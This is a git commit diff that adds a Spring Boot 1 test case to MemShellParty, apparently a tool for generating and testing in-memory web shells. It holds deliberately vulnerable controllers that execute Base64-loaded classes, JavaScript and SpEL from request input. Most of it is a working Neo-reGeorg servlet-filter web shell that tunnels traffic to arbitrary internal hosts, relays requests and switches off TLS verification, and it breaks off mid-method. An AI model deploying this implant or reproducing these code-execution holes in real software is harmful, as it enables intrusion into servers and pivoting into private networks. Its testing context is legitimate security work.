mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
test: add SpringBoot1 vul case (resolved #22)
This commit is contained in:
ReaJason
@@ -61,6 +61,7 @@ test {
|
||||
":vul:vul-webapp-expression:war",
|
||||
":vul:vul-webapp-deserialize:war",
|
||||
":vul:vul-webapp-jakarta:war",
|
||||
":vul:vul-springboot1:bootJar",
|
||||
":vul:vul-springboot2:bootJar",
|
||||
":vul:vul-springboot2:bootWar",
|
||||
":vul:vul-springboot2-webflux:bootJar",
|
||||
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
package com.reajason.javaweb.integration.springmvc;
|
||||
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot1ContainerTest {
|
||||
public static final String imageName = "springboot1";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot1Dockerfile))
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+2
-1
@@ -26,7 +26,8 @@ include 'vul:vul-webapp'
|
||||
include 'vul:vul-webapp-jakarta'
|
||||
include 'vul:vul-webapp-expression'
|
||||
include 'vul:vul-webapp-deserialize'
|
||||
include 'vul:vul-springboot1'
|
||||
include 'vul:vul-springboot2'
|
||||
include 'vul:vul-springboot3'
|
||||
include 'vul:vul-springboot2-webflux'
|
||||
include 'vul:vul-springboot3-webflux'
|
||||
include 'vul:vul-springboot3-webflux'
|
||||
|
||||
@@ -2,4 +2,9 @@ idea {
|
||||
module {
|
||||
excludeDirs += file('src')
|
||||
}
|
||||
}
|
||||
|
||||
subprojects {
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM openjdk:8
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot1.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,37 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'war'
|
||||
}
|
||||
|
||||
java {
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
configurations {
|
||||
providedRuntime
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.springframework.boot:spring-boot-starter-web:1.5.22.RELEASE'
|
||||
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat:1.5.22.RELEASE'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test:1.5.22.RELEASE'
|
||||
}
|
||||
|
||||
tasks.register('bootJar', Jar) {
|
||||
archiveBaseName = project.name
|
||||
archiveVersion = project.version
|
||||
|
||||
from sourceSets.main.output
|
||||
from {
|
||||
configurations.runtimeClasspath.collect { it.isDirectory() ? it : zipTree(it) }
|
||||
}
|
||||
manifest {
|
||||
attributes 'Main-Class': 'com.reajason.javaweb.vul.springboot1.VulSpringboot1Application'
|
||||
}
|
||||
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.vul.springboot1;
|
||||
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ServletInitializer extends SpringBootServletInitializer {
|
||||
|
||||
@Override
|
||||
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
|
||||
return application.sources(VulSpringboot1Application.class);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.vul.springboot1;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/26
|
||||
*/
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot1Application {
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot1Application.class, args);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot1.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController extends ClassLoader {
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws Exception {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot1.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot1.controller;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/js")
|
||||
public class ScriptEngineController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot1.controller;
|
||||
|
||||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
server.port=8080
|
||||
logging.level.root=INFO
|
||||
logging.level.org.springframework=INFO
|
||||
@@ -4,9 +4,6 @@ plugins {
|
||||
id 'java'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
|
||||
@@ -5,9 +5,6 @@ plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
@@ -4,9 +4,6 @@ plugins {
|
||||
id 'io.spring.dependency-management' version '1.1.7'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
|
||||
@@ -5,9 +5,6 @@ plugins {
|
||||
id 'io.spring.dependency-management' version '1.1.7'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
|
||||
@@ -2,9 +2,6 @@ plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
|
||||
@@ -2,9 +2,6 @@ plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
|
||||
@@ -2,9 +2,6 @@ plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
|
||||
@@ -2,9 +2,6 @@ plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
|
||||
@@ -0,0 +1,536 @@
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @Modifier c0ny1, L, BeichenDream
|
||||
* @CreateDate 2021-08-17
|
||||
* @Description 将 Neo-reGeorg jsp 服务端改为 java 代码，提高兼容性
|
||||
*/
|
||||
|
||||
public class NeoreGeorg implements Filter, HostnameVerifier, X509TrustManager {
|
||||
private char[] en;
|
||||
private byte[] de;
|
||||
|
||||
public static java.util.Map<String, Object> sessions = new java.util.HashMap<String, Object>();
|
||||
public static Map<String, Object> namespace = new HashMap<String, Object>();
|
||||
String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm";
|
||||
String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn==";
|
||||
byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1};
|
||||
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
Object[] args = new Object[]{
|
||||
request,
|
||||
response,
|
||||
chars.toCharArray(),
|
||||
base64Bytes,
|
||||
200,
|
||||
513,
|
||||
524288,
|
||||
hello,
|
||||
1447564139,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
};
|
||||
equals(args);
|
||||
return;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
public boolean equals(Object obj) {
|
||||
try {
|
||||
Object[] args = (Object[]) obj;
|
||||
HttpServletRequest request = (HttpServletRequest) args[0];
|
||||
HttpServletResponse response = (HttpServletResponse) args[1];
|
||||
en = (char[]) args[2];
|
||||
de = (byte[]) args[3];
|
||||
int HTTPCODE = (Integer) args[4];
|
||||
int READBUF = (Integer) args[5];
|
||||
int MAXREADSIZE = (Integer) args[6];
|
||||
String GeorgHello = (String) args[7];
|
||||
int BLV_L_OFFSET = (Integer) args[8];
|
||||
|
||||
int USE_REQUEST_TEMPLATE = (Integer) args[9];
|
||||
int START_INDEX = (Integer) args[10];
|
||||
int END_INDEX = (Integer) args[11];
|
||||
|
||||
int DATA = 1;
|
||||
int CMD = 2;
|
||||
int MARK = 3;
|
||||
int STATUS = 4;
|
||||
int ERROR = 5;
|
||||
int IP = 6;
|
||||
int PORT = 7;
|
||||
int REDIRECTURL = 8;
|
||||
int FORCEREDIRECT = 9;
|
||||
|
||||
|
||||
Writer out = response.getWriter();
|
||||
|
||||
Object[] info = new Object[40];
|
||||
Object[] rinfo = new Object[40];
|
||||
String requestDataHead = "";
|
||||
String requestDataTail = "";
|
||||
try {
|
||||
if (request.getContentLength() != -1) {
|
||||
StringBuilder inputData = new StringBuilder();
|
||||
InputStream in = request.getInputStream();
|
||||
while (true) {
|
||||
int buffLen = in.available();
|
||||
if (buffLen == -1) {
|
||||
break;
|
||||
}
|
||||
byte[] buff = new byte[buffLen];
|
||||
if (in.read(buff) == -1) {
|
||||
break;
|
||||
}
|
||||
inputData.append(new String(buff));
|
||||
}
|
||||
|
||||
if (USE_REQUEST_TEMPLATE == 1) {
|
||||
requestDataHead = inputData.substring(0, START_INDEX);
|
||||
requestDataTail = inputData.substring(inputData.length() - END_INDEX, inputData.length());
|
||||
|
||||
inputData = new StringBuilder(inputData.substring(START_INDEX));
|
||||
inputData = new StringBuilder(inputData.substring(0, inputData.length() - END_INDEX));
|
||||
}
|
||||
byte[] data = b64de(inputData.toString());
|
||||
info = blv_decode(data, BLV_L_OFFSET);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
out.write(e.toString());
|
||||
out.flush();
|
||||
out.close();
|
||||
return false;
|
||||
}
|
||||
|
||||
String rUrl = (String) info[REDIRECTURL];
|
||||
|
||||
if (rUrl != null) {
|
||||
String force = (String) info[FORCEREDIRECT];
|
||||
if (force.compareTo("TRUE") == 0 || !islocal(rUrl)) {
|
||||
info[REDIRECTURL] = null;
|
||||
info[FORCEREDIRECT] = null;
|
||||
response.reset();
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
conn.setDoOutput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext ctx = SSLContext.getInstance("SSL");
|
||||
ctx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(ctx.getSocketFactory());
|
||||
}
|
||||
|
||||
Enumeration enu = request.getHeaderNames();
|
||||
List<String> keys = Collections.list(enu);
|
||||
Collections.reverse(keys);
|
||||
for (String key : keys) {
|
||||
String value = request.getHeader(key);
|
||||
conn.setRequestProperty(headerkey(key), value);
|
||||
}
|
||||
|
||||
if (request.getContentLength() != -1) {
|
||||
OutputStream output;
|
||||
try {
|
||||
output = conn.getOutputStream();
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
|
||||
String newData = requestDataHead + b64en(blv_encode(info, BLV_L_OFFSET)) + requestDataTail;
|
||||
byte[] data = newData.getBytes();
|
||||
output.write(data, 0, data.length);
|
||||
output.flush();
|
||||
output.close();
|
||||
}
|
||||
|
||||
for (String key : conn.getHeaderFields().keySet()) {
|
||||
if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) {
|
||||
String value = conn.getHeaderField(key);
|
||||
response.setHeader(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
InputStream hin;
|
||||
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
|
||||
hin = conn.getInputStream();
|
||||
} else {
|
||||
hin = conn.getErrorStream();
|
||||
if (hin == null) {
|
||||
response.setStatus(HTTPCODE);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
int i;
|
||||
byte[] buffer = new byte[1024];
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
while ((i = hin.read(buffer)) != -1) {
|
||||
byte[] data = new byte[i];
|
||||
System.arraycopy(buffer, 0, data, 0, i);
|
||||
baos.write(data);
|
||||
}
|
||||
String responseBody = baos.toString();
|
||||
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
|
||||
response.setStatus(conn.getResponseCode());
|
||||
out.write(responseBody.trim());
|
||||
out.flush();
|
||||
out.close();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
response.resetBuffer();
|
||||
response.setStatus(HTTPCODE);
|
||||
String cmd = (String) info[CMD];
|
||||
if (cmd != null) {
|
||||
String mark = (String) info[MARK];
|
||||
if (cmd.compareTo("CONNECT") == 0) {
|
||||
try {
|
||||
String target = (String) info[IP];
|
||||
int port = Integer.parseInt((String) info[PORT]);
|
||||
SocketChannel socketChannel = SocketChannel.open();
|
||||
socketChannel.socket().connect(new InetSocketAddress(target, port), 3000);
|
||||
socketChannel.configureBlocking(false);
|
||||
sessions.put(mark, socketChannel);
|
||||
rinfo[STATUS] = "OK";
|
||||
} catch (Exception e) {
|
||||
rinfo[STATUS] = "FAIL";
|
||||
rinfo[ERROR] = e.toString();
|
||||
}
|
||||
} else if (cmd.compareTo("DISCONNECT") == 0) {
|
||||
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
|
||||
try {
|
||||
socketChannel.socket().close();
|
||||
} catch (Exception e) {
|
||||
}
|
||||
sessions.remove(mark);
|
||||
} else if (cmd.compareTo("READ") == 0) {
|
||||
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
|
||||
try {
|
||||
if (socketChannel != null) {
|
||||
ByteBuffer buf = ByteBuffer.allocate(READBUF);
|
||||
int bytesRead = socketChannel.read(buf);
|
||||
int maxRead = MAXREADSIZE;
|
||||
int readLen = 0;
|
||||
ByteArrayOutputStream readData = new ByteArrayOutputStream();
|
||||
while (bytesRead > 0) {
|
||||
byte[] block = new byte[bytesRead];
|
||||
System.arraycopy(buf.array(), 0, block, 0, bytesRead);
|
||||
readData.write(block);
|
||||
((java.nio.Buffer) buf).clear();
|
||||
readLen += bytesRead;
|
||||
if (bytesRead < READBUF || readLen >= maxRead) {
|
||||
rinfo[DATA] = readData.toByteArray();
|
||||
break;
|
||||
}
|
||||
bytesRead = socketChannel.read(buf);
|
||||
}
|
||||
}
|
||||
rinfo[STATUS] = "OK";
|
||||
} catch (Exception e) {
|
||||
rinfo[STATUS] = "FAIL";
|
||||
rinfo[ERROR] = e.toString();
|
||||
}
|
||||
|
||||
} else if (cmd.compareTo("FORWARD") == 0) {
|
||||
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
|
||||
try {
|
||||
byte[] writeData = (byte[]) info[DATA];
|
||||
ByteBuffer buf = ByteBuffer.allocate(writeData.length);
|
||||
buf.put(writeData);
|
||||
buf.flip();
|
||||
|
||||
while (buf.hasRemaining()) {
|
||||
socketChannel.write(buf);
|
||||
}
|
||||
|
||||
rinfo[STATUS] = "OK";
|
||||
|
||||
} catch (Exception e) {
|
||||
rinfo[STATUS] = "FAIL";
|
||||
rinfo[ERROR] = e.toString();
|
||||
socketChannel.socket().close();
|
||||
}
|
||||
}
|
||||
out.write(b64en(blv_encode(rinfo, BLV_L_OFFSET)));
|
||||
out.flush();
|
||||
out.close();
|
||||
} else {
|
||||
out.write(new String(b64de(GeorgHello)));
|
||||
out.flush();
|
||||
out.close();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public String b64en(byte[] data) {
|
||||
StringBuffer sb = new StringBuffer();
|
||||
int len = data.length;
|
||||
int i = 0;
|
||||
int b1, b2, b3;
|
||||
while (i < len) {
|
||||
b1 = data[i++] & 0xff;
|
||||
if (i == len) {
|
||||
sb.append(en[b1 >>> 2]);
|
||||
sb.append(en[(b1 & 0x3) << 4]);
|
||||
sb.append("==");
|
||||
break;
|
||||
}
|
||||
b2 = data[i++] & 0xff;
|
||||
if (i == len) {
|
||||
sb.append(en[b1 >>> 2]);
|
||||
sb.append(en[((b1 & 0x03) << 4)
|
||||
| ((b2 & 0xf0) >>> 4)]);
|
||||
sb.append(en[(b2 & 0x0f) << 2]);
|
||||
sb.append("=");
|
||||
break;
|
||||
}
|
||||
b3 = data[i++] & 0xff;
|
||||
sb.append(en[b1 >>> 2]);
|
||||
sb.append(en[((b1 & 0x03) << 4)
|
||||
| ((b2 & 0xf0) >>> 4)]);
|
||||
sb.append(en[((b2 & 0x0f) << 2)
|
||||
| ((b3 & 0xc0) >>> 6)]);
|
||||
sb.append(en[b3 & 0x3f]);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
|
||||
public byte[] b64de(String str) {
|
||||
byte[] data = str.getBytes();
|
||||
int len = data.length;
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
|
||||
int i = 0;
|
||||
int b1, b2, b3, b4;
|
||||
while (i < len) {
|
||||
do {
|
||||
b1 = de[data[i++]];
|
||||
} while (i < len && b1 == -1);
|
||||
if (b1 == -1) {
|
||||
break;
|
||||
}
|
||||
do {
|
||||
b2 = de[data[i++]];
|
||||
} while (i < len && b2 == -1);
|
||||
if (b2 == -1) {
|
||||
break;
|
||||
}
|
||||
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
|
||||
do {
|
||||
b3 = data[i++];
|
||||
if (b3 == 61) {
|
||||
return buf.toByteArray();
|
||||
}
|
||||
b3 = de[b3];
|
||||
} while (i < len && b3 == -1);
|
||||
if (b3 == -1) {
|
||||
break;
|
||||
}
|
||||
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
|
||||
do {
|
||||
b4 = data[i++];
|
||||
if (b4 == 61) {
|
||||
return buf.toByteArray();
|
||||
}
|
||||
b4 = de[b4];
|
||||
} while (i < len && b4 == -1);
|
||||
if (b4 == -1) {
|
||||
break;
|
||||
}
|
||||
buf.write((int) (((b3 & 0x03) << 6) | b4));
|
||||
}
|
||||
return buf.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static String headerkey(String str) throws Exception {
|
||||
String out = "";
|
||||
for (String block : str.split("-")) {
|
||||
out += block.substring(0, 1).toUpperCase() + block.substring(1);
|
||||
out += "-";
|
||||
}
|
||||
return out.substring(0, out.length() - 1);
|
||||
}
|
||||
|
||||
|
||||
boolean islocal(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = nifs.nextElement();
|
||||
Enumeration<InetAddress> addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = addresses.nextElement();
|
||||
if (addr instanceof Inet4Address)
|
||||
if (addr.getHostAddress().equals(ip))
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public static Object[] blv_decode(byte[] data, Integer offset) {
|
||||
Object[] info = new Object[40];
|
||||
|
||||
int i = 0;
|
||||
int data_len = data.length;
|
||||
int b;
|
||||
byte[] length = new byte[4];
|
||||
|
||||
ByteArrayInputStream dataInput = new ByteArrayInputStream(data);
|
||||
|
||||
while (i < data_len) {
|
||||
b = dataInput.read();
|
||||
dataInput.read(length, 0, length.length);
|
||||
int l = bytesToInt(length) - offset;
|
||||
byte[] v = new byte[l];
|
||||
dataInput.read(v, 0, v.length);
|
||||
i += (5 + l);
|
||||
// 9 is BLVHEAD_LEN
|
||||
if (b > 1 && b <= 9) {
|
||||
info[b] = new String(v);
|
||||
} else {
|
||||
info[b] = v;
|
||||
}
|
||||
}
|
||||
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
public static byte[] blv_encode(Object[] info, Integer offset) {
|
||||
info[0] = randBytes(5, 20);
|
||||
info[39] = randBytes(5, 20);
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
for (int b = 0; b < info.length; b++) {
|
||||
if (info[b] != null) {
|
||||
Object o = info[b];
|
||||
byte[] v;
|
||||
if (o instanceof String) {
|
||||
v = ((String) o).getBytes();
|
||||
} else {
|
||||
v = (byte[]) o;
|
||||
}
|
||||
buf.write(b);
|
||||
try {
|
||||
buf.write(intToBytes(v.length + offset));
|
||||
buf.write(v);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return buf.toByteArray();
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName, Object[] args) throws Exception {
|
||||
Class[] argTypes = new Class[args.length];
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
Class argType = args[i].getClass();
|
||||
if (Integer.class.isAssignableFrom(argType)) {
|
||||
argType = int.class;
|
||||
} else if (Long.class.isAssignableFrom(argType)) {
|
||||
argType = long.class;
|
||||
} else if (Short.class.isAssignableFrom(argType)) {
|
||||
argType = short.class;
|
||||
}
|
||||
argTypes[i] = argType;
|
||||
}
|
||||
return invokeMethod2(obj, methodName, argTypes, args);
|
||||
}
|
||||
|
||||
public static Object invokeMethod2(Object obj, String methodName, Class[] argTypes, Object[] args) throws Exception {
|
||||
Class clazz = obj.getClass();
|
||||
